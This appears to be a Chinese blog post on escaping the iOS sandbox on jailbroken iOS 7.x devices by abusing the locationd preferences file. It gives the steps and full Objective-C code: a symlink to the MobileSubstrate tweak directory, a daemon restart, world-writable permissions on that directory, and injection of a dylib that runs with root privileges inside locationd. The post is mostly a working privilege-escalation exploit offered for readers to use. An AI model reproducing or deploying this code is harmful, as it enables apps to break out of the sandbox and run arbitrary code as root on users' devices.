iOS沙盒机制
iOS中的沙盒机制(SandBox)是一种安全体系,它规定了应用程序只能在为该应用创建的文件夹内读取文件,不可以访问其他地方的内容。所有的非代码文件都保存在这个地方,比如图片、声音、属性列表和文本文件等。
1.每个应用程序都在自己的沙盒内。
2.不能随意跨越自己的沙盒去访问别的应用程序沙盒的内容。
3.应用程序向外请求或接收数据都需要经过权限认证。
以上3点就是iOS沙盒机制的主要表现,一般来讲普通的用户级别app(从AppStore下载或者从其他第三方应用商店下载的ipa)很难越过iOS沙盒机制,除非有些特殊手段或者一些系统漏洞能利用,这里我们就来讲下越狱设备利用locationd
漏洞来让ipa程序跳出沙盒来获取root权限。
准备工作
1.删除/var/mobile/Library/Preferences/com.apple.locationd.plist
2.软连接/var/mobile/Library/Preferences/com.apple.locationd.plist
到需要权限的目录,比如/Library/MobileSubstrate/DynamicLibraries
3.执行CLClientShutdownDaemon()
来重启locationd
服务,这是/Library/MobileSubstrate/DynamicLibraries
目录权限将变为mobile:mobile
4.编写Tweak
来hooklocationd
,并将该Tweak
拷贝到/Library/MobileSubstrate/DynamicLibraries
5.再次调用CLClientShutdownDaemon()
来重启locationd
,这时Tweak
也将随着locationd
启动而启动,这时Tweak
就可以用来做一些高权限的事情了,也就间接的让ipa获取到root
权限了,完毕!
以上几点大体介绍了获取root
权限要经历的步骤,该步骤在iOS 7.x
系统上已验证成功,但是在iOS 8.x
系统上第1步骤就失败了,所以iOS 8.x
要换种方式实现,现在还在研究中,不过腾讯手机管家Pro
已经实现了该功能,技术果然牛逼!废话不多说,先来看下代码如何实现吧!
实现代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| void CLClientShutdownDaemon(void);
- (void)operator { NSFileManager *fileManager = [NSFileManager defaultManager]; NSString * plistPath = @"/var/mobile/Library/Preferences/com.apple.locationd.plist"; NSString * path2 = @"/Library/MobileSubstrate/DynamicLibraries"; NSError * error = nil; if ([fileManager fileExistsAtPath:plistPath]) { [fileManager removeItemAtPath:plistPath error:&error]; if (error) { NSLog(@"error : %@", error); } } [[NSFileManager defaultManager] createSymbolicLinkAtPath:plistPath withDestinationPath:path2 error:&error]; if (error != nil) { NSLog(@"error : %@", error); } CLClientShutdownDaemon(); [self performSelector:@selector(injectDylib) withObject:nil afterDelay:3.0f]; }
- (void)injectDylib { NSFileManager *fileManage = [NSFileManager defaultManager]; NSError *error = nil; [fileManage setAttributes:[NSDictionary dictionaryWithObject:[NSNumber numberWithUnsignedLong:0777] forKey:NSFilePosixPermissions] ofItemAtPath:@"/Library/MobileSubstrate/DynamicLibraries/" error:&error]; if (error) { NSLog(@"NSFilePosixPermissions error:%@",[error localizedDescription]); } NSString *documents = [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) objectAtIndex:0]; NSString *zipPath = [[NSBundle mainBundle] pathForResource:@"Cappuccino.zip" ofType:nil]; NSString *targetZipPath = [documents stringByAppendingPathComponent:@"Cappuccino.zip"]; [fileManage copyItemAtPath:zipPath toPath:targetZipPath error:&error]; int res = unZipMain((char*)[targetZipPath UTF8String], (char*)[documents UTF8String], NULL); NSString *dylibFile = [documents stringByAppendingPathComponent:@"Cappuccino.dylib"]; NSString *plistFile = [documents stringByAppendingPathComponent:@"Cappuccino.plist"]; NSString *targetDylibFile = @"/Library/MobileSubstrate/DynamicLibraries/Cappuccino.dylib"; NSString *targetPlistFile = @"/Library/MobileSubstrate/DynamicLibraries/Cappuccino.plist"; [fileManage copyItemAtPath:plistFile toPath:targetPlistFile error:&error]; if (error) { NSLog(@"plist error : %@", error); } [fileManage copyItemAtPath:dylibFile toPath:targetDylibFile error:&error]; if (error) { NSLog(@"dylib error : %@", error); } CLClientShutdownDaemon(); }
|
以上代码中出现了Cappuccino.dylib
和Cappuccino.plist
,(腾讯手机管家Pro
抱歉了,我抄袭了你的命名了!)这两个是用来hooklocationd
服务的插件,也是用来获取root
权限的间接桥梁,它里面做的事情也很简单,就是简单的安装deb
文件,其实也可以改成其他操作,比如注销,重启等操作,就看用户喜好了,虽然我没有详细的逆向腾讯手机管家Pro
在Cappuccino.dylib
写了什么样的代码,但是我大体也能猜出里面它其实是用来安装deb
文件的,大体是下面这样的操作,dpkg -i DEB_PATH
,DEB_PATH
请根据需要自行改成自己deb
所在的路径,如果你的deb
是放在ipa
的Documents
的话,那也是可以根据ipa的identifier
来获取,这里我就不实现了,Cappuccino.dylib
和Cappuccino.plist
的大体实现请看下图:
后记
到这里为止,我们就跳出了沙盒限制,获取到root
权限了,不过以上方法只在iOS 7.x
系统上测试过,iOS 8.x
测试失败,(但是腾讯手机管家Pro
实现了,还有待研究它是如何实现的)iOS 6.x 和iOS 5.x
未测试(手头暂无机子),如果读者感兴趣的话,可自行测试。
参考
iOS逆向论坛
腾讯手机管家Pro